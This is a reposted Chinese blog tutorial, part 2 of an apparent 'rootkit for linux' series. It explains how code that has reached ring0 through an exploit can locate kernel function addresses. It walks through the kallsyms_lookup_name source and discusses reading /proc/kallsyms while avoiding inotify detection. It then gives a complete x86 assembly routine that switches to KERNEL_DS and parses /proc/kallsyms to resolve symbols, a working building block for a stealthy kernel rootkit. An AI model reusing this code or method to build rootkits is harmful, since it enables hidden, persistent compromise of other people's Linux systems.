[zz]rootkit for linux 2.寻找入口点
2010-08-28 22:18
330 查看
2008-12-06 16:22
世上的牛人真是多,今天又见识了一位 技术文章写得如此幽默 易懂,真是太牛了(相比之下我太菜了) ring3下直接得到内核符号地址,这样rootkits就可以脱离LKM方式了, 可是我居然还没有学汇编 ,fuck这学校 这个冬天该好好把那几本kernel砖头捧读下,自学下x86汇编,我的水平太烂 原文 http://blog.csdn.net/varg_vikernes/archive/2008/11/08/3254821.aspx 作者:varg_vikernes rootkit for linux 2.寻找入口点 很多人都学汇编。什么是eip他背得倍儿熟。但是你问他怎么把eip的值传给eax,他会毫不犹豫的说“mov eax, eip”。 很多人都学操作系统。什么是内存管理他背得倍儿熟。但是你打开linux-2.6.18的文件夹,他会指着那个mm文件夹说“那个是啥,快打开,里面有mm照片么?” 于是,在填鸭式的学习中,我们习惯于湮没在老师的无数唾沫里,湮没在书本的无数概念里,湮没在课堂的无数瞌睡里,湮没在宿舍的无数盘dota里。直 到有一天,你发现用asp.net,c#,java,vb都无法写出你想要的shellcode时,你恍然大悟,众里寻她千百度,那人却在灯火阑珊处。你 所追随的她,是被你曾经抛弃的操作系统和汇编。 好了扯淡完毕。先回答上一节的问题。其实这个漏洞只用来做提权实在是大材小用了。作者写一个漏洞利用程序只是个示范而已,不是让骇客们真的拿去提权。而是让我们自己扩充它,实现自己的功能,实现自己的rootkit。 我们来到ring0下面后,那是手无寸铁啊。平常你写内核模块的时候,有啥函数直接拿来用就是了,但是现在不行。你身处一个如此荒凉的地方,你能获 得的只有当前进程的task_struct。而这个也不靠谱,因为各个版本的linux,各种各样的内核设置,导致这个结构里特定成员的偏移都有可能不一 样。所以我们就丢开这个不管了。 怎样获得内核函数地址?这是个问题。如果你不获得函数地址,就啥也做不了。就好比搞自杀式袭击的,到了目的地,发现炸弹不见了,那也只能喝杯咖啡,然后再返回基地组织。 在内核模块中,通过函数名字获取函数地址用的是kallsyms_lookup_name。但现在你连kallsyms_lookup_name这个函数的地址都不知道。我们先来看看这个函数的实现: kallsyms_lookup_name() /* Lookup the address for this symbol. Returns 0 if not found. */ unsigned long kallsyms_lookup_name(const char *name) { char namebuf[KSYM_NAME_LEN]; unsigned long i; unsigned int off; for (i = 0, off = 0; i < kallsyms_num_syms; i++) { off = kallsyms_expand_symbol(off, namebuf); if (strcmp(namebuf, name) == 0) return kallsyms_addresses[i]; } return module_kallsyms_lookup_name(name); } kallsyms_lookup_name() -> kallsyms_expand_symbol() /* expand a compressed symbol data into the resulting uncompressed string, given the offset to where the symbol is in the compressed stream */ static unsigned int kallsyms_expand_symbol(unsigned int off, char *result) { int len, skipped_first = 0; const u8 *tptr, *data; /* get the compressed symbol length from the first symbol byte */ data = &kallsyms_names[off]; len = *data; data++; /* update the offset to return the offset for the next symbol on * the compressed stream */ off += len + 1; /* for every byte on the compressed symbol data, copy the table entry for that byte */ while(len) { tptr = &kallsyms_token_table[ kallsyms_token_index[*data] ]; data++; len--; while (*tptr) { if(skipped_first) { *result = *tptr; result++; } else skipped_first = 1; tptr++; } } *result = '/0'; /* return to offset to the next symbol */ return off; 看清楚没? kallsyms_names 这个数组里的内容是 len0, idx0_0, idx0_1, idx0_2 ... len1, idx1_0, idx1_1 .... 得到一系列idx后, 把idx0_0带入kallsyms_token_table[ kallsyms_token_index[] ]里,找到第一个字符串。 把idx0_1带入,找到第二个字符串。 把idx0_n带入,其中n为len0-1,找到最后一个字符串。 把所有的字符串连起来,就是第一个内核符号的名字。 这样,把所有的内核符号名字按顺序都获取一次,与传入的参数比较,如果相等,就返回对应的地址。 这是用的一种压缩算法,可以减少内核符号表占用的空间。 编译内核的时候,源码树中script/kallsyms.c这个程序生成了内核符号表的汇编源码,链接完后,内核的镜像里就有了符号表。你可以在kernel/kallsyms.c中找到定义 /* These will be re-linked against their real values during the second link stage */ extern const unsigned long kallsyms_addresses[] __attribute__((weak)); extern const u8 kallsyms_names[] __attribute__((weak)); 但是你找不到kallsyms_addresses和kallsyms_names的定义在哪里。因为编译过程中,script/kallsyms.c生成的内核符号表的汇编源码放在/tmp目录下,用完就删了,你当然找不到。 上面分析的过程看不懂没关系,只要明白一个道理:写kallsyms.c的程序员是很欠抽的。 在当今1G硬盘不需要1块钱,1G内存只要几十块钱的时代,你为了节省那么点空间,写了这么欠抽的代码出来,内核符号表再大,有你硬盘里的松岛枫毛片大吗,有你硬盘里的陈冠希艳照多吗?你这样写,知不知道有什么后果?所以,我们不能通过“暴搜”的方法找到内核符号表。 其实,内核符号表在/proc/kallsyms中是可以看到的。所以,我们通过读/proc/kallsyms可以读出所有的内核符号和地址。你可能会说,那我们刚刚还看kallsyms_lookup_name干啥?不是浪费时间么? 不 是的,读/proc/kallsyms毕竟是有点低劣的方法,因为要读你也只能用系统调用去读,目前你还不能越过系统调用直接去读proc entry的。如果用系统调用去读/proc/kallsyms那就必定要经过那一套操作系统的检测流程。在vfs_read里有这样的代码: count = ret; ret = security_file_permission (file, MAY_READ); if (!ret) { if (file->f_op->read) ret = file->f_op->read(file, buf, count, pos); else ret = do_sync_read(file, buf, count, pos); if (ret > 0) { fsnotify_access(file->f_path.dentry); add_rchar(current, ret); 你看看,你要经过两大关。 第一关是security_file_permission。这个函数看名字都知道它是干嘛的了。是rootkit最讨厌的东西。不过所幸内核的默认设置是允许读/proc/kallsyms的。而这个文件,ring3下的普通用户也有读的权限。 第 二关是fsnotify_access。这函数来自于文件系统的inotify 机制,这机制基于inode,一般都是在inode被读,被写等等时候给关注这个事件的人一个信号“这个inode被读/写了”,简单的说就是这样。最麻 烦的是,这个机制是给ring3下的进程用的。所以,如果有一个进程注册了inotify,并关注/proc/kallsyms。那你就露馅了。 这方法有一定的危险性。 不过我在google上搜了很久也没搜出来有没啥更好的方法,如果有好的方法,迫切希望有人能告诉我。 另外还有一个“偏方”能读到搞到内核符号表。 比如很多人都没删除“System.map-xxx”这个文件,其实这个文件就是内核符号表,与/proc/kallsyms不同的是,它不包括模块的符号表,如果找到了这个文件,确定它是与现在内核一起编译生成的(这样才配套),用它也成。 但这个偏方要你在ring3下操作,还挺不靠谱的。 所以啊,我们有时候不要追求得太高了。你喜欢喝牛奶,但没有牛奶的时候你还得和水。没有水的时候你还得喝。。算了不说了。 如果你在ring3下用过系统调用,那现在在ring0下读/proc/kallsyms的过程也是类似的,只不过要把ds设置为kernel_ds,这样sys_read函数就不检查参数的地址了,直接读。 代码如下: .text .globl ksym_lookup .globl filepath filepath: .asciz "/proc/kallsyms" FD = 0 BUF = 4 SAVEDS = 1020 FNLEN = 1024 FN = 1028 SSZ = 1032 ksym_lookup: pushl %ebp pushl %esi pushl %edi pushl %ecx pushl %ebx subl $SSZ, %esp movl %eax, FN(%esp) movl %edx, FNLEN(%esp) # set KERNEL_DS movl %esp, %eax andl $0xffffe000, %eax movl 0x18(%eax), %ebx movl %ebx, SAVEDS(%esp) movl $0xffffffff, 0x18(%eax) # open("/proc/kallsyms", O_RDONLY, 0); movl $5, %eax call 1f 1: pop %ebx subl $(1b - filepath), %ebx xorl %ecx, %ecx xorl %edx, %edx int $0x80 testl %eax, %eax js out movl %eax, FD(%esp) leal BUF(%esp), %ecx getch_repeat: # read(fd, ecx, 1); movl $3, %eax movl FD(%esp), %ebx movl $1, %edx int $0x80 cmpl $1, %eax jnz out_close cmpb $'/n', (%ecx) jz newline incl %ecx jmp getch_repeat # when a '/n' is read, start parse a new line newline: # skip ' ' in output line 'c01xxxx T funcname' leal BUF(%esp), %esi movl $2, %ebp 1: cmpb $' ', (%esi) jnz 2f decl %ebp jz 3f 2: incl %esi cmpl %ecx, %esi jl 1b jmp newline_out 3: # cmp str between function name in output line and 'kallsyms_lookup_name' incl %esi movl FN(%esp), %edi movl %ecx, %eax subl %esi, %eax movl FNLEN(%esp), %ecx cmpl %eax, %ecx jae 1f movl %eax, %ecx 1: incl %ecx cld repz cmpsb testl %ecx, %ecx jnz newline_out # convert the address from str to ulong. saved in eax leal BUF(%esp), %esi xorl %eax, %eax 1: movb (%esi), %bl cmpb $' ', %bl jz 4f cmpb $'a', %bl jl 2f subb $('a' - 10), %bl jmp 3f 2: subb $'0', %bl 3: andb $0x0F, %bl shl $4, %eax movb %al, %cl andb $0xF0, %cl orb %bl, %cl movb %cl, %al incl %esi jmp 1b 4: # successfully convert address !! jmp out_close newline_out: leal BUF(%esp), %ecx jmp getch_repeat out_close: pushl %eax movl $6, %eax movl FD(%esp), %ebx int $0x80 popl %eax out: movl %esp, %ebx andl $0xffffe000, %ebx movl SAVEDS(%esp), %ecx movl %ecx, 0x18(%ebx) addl $SSZ, %esp popl %ebx popl %ecx popl %edi popl %esi popl %ebp ret 这段代码有个bug,在比较字符串的地方。/proc/kallsyms输出的格式,对于模块里的符号,会在最后面加一个“[模块名]”。 所以不能用这段代码找模块里的函数。大家要用自己改吧。我也懒得改了,反正我一开始不用找内核里的函数。 好了,那现在,你就可以找到大部分函数了,少部分未导出的找不到,但也够你用的了。 你说现在干啥呢? 有人说“我想搞破坏!”。 好,那你就搜索panic函数。然后panic("hey, your system is fucked!! hacked by xxx/n"); 看系统被你panic了。靠,你太伟大了,我们搞了这么半天就是没让系统panic,你一下子就让系统panic了!那后面的文章你也不用看了,因为系统已经panic了,秘密行动失败了,你也知道有啥后果吧。 有人说“我想做rootkit” 好,那下一节的内容你可能会很感兴趣。 |
相关文章推荐
- rootkit for linux 2.寻找入口点
- rootkit for linux 11.“寻找入口点”的改进方法
- rootkit for linux 15.寻找eth设备
- ZZ: linux新增system call(for kernel 2.6)
- rootkit for linux 13.指令查找代码的简化
- rootkit for linux 12.枚举目录
- rootkit for linux 1.ring0下的溢出
- Linux mount Windows共享后编译出现“Value too large for defined data type”的问题 (zz)
- rootkit for linux 16.获取tcp可用端口号
- 超全的NFS文档(FOR LINUX)zz
- rootkit for linux 10.小结
- rootkit for linux 8.大大杀器---“模拟法”获得字段偏移
- rootkit for linux 3.小窥数据链路层
- rootkit for linux 5.啥是skb
- rootkit for linux 6.截获skb
- rootkit for linux 14.file handle
- rootkit for linux 在csdn开源项目注册了。可以查看代码。
- rootkit for linux 7.大杀器---反汇编引擎xde
- rootkit for linux 18.tcp原理概述
- rootkit for linux 19.山寨tcpip协议栈--连接的建立和初始化.doc